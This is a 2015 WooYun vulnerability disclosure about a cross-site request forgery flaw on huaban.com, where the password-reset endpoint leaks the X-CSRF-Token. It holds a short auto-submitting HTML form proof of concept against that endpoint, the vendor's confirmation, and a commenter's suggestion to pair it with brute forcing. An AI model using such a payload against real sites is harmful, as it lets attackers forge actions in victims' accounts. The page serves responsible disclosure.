当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101573

漏洞标题:花瓣网全站点多处功能设计缺陷导致跨站请求伪造(CSRF)#2(绕过X-CSRF-Token限制)

相关厂商:huaban.com

漏洞作者: 安然意境

提交时间:2015-03-17 15:30

修复时间:2015-05-01 15:36

公开时间:2015-05-01 15:36

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-17: 细节已通知厂商并且等待厂商处理中
2015-03-17: 厂商已经确认,细节仅向厂商公开
2015-03-27: 细节向核心白帽子及相关领域专家公开
2015-04-06: 细节向普通白帽子公开
2015-04-16: 细节向实习白帽子公开
2015-05-01: 细节向公众公开

简要描述:

花瓣网全站点多处功能设计缺陷导致跨站请求伪造(CSRF)#2(绕过X-CSRF-Token限制)

详细说明:

花瓣网全站点多处功能设计缺陷导致跨站请求伪造(CSRF)#2(绕过X-CSRF-Token限制)。

接口:
http://huaban.com/password/reset/
方式:POST
提交数据:email:*****@qq.com(只需要提交一个没有注册过的邮箱地址即可。)
返回{"err":403,"msg":"邮箱地址不存在","_csrf":"*****"}


此处页面返回X-CSRF-Token,全站关于CSRF的防御将会因此全部无效。

漏洞证明:

test1.png


顺便附带poc代码:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>CSRF POC</title>
</head>
<body>
<form action="http://huaban.com/password/reset/" method="post">
<input type="hidden" name="email" value="*********@qq.com"/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

修复方案:

相关接口严禁返回X-CSRF-Token.

版权声明:转载请注明来源 安然意境@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-03-17 15:35

厂商回复:

感谢您关注,我们将在第一时间修复.

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-06 23:27 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人,在乌云学技术,去某数...)

    我觉的这个应该配合爆破,你说呢

  2. 2015-04-07 13:35 | D&G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    token没有绑定session?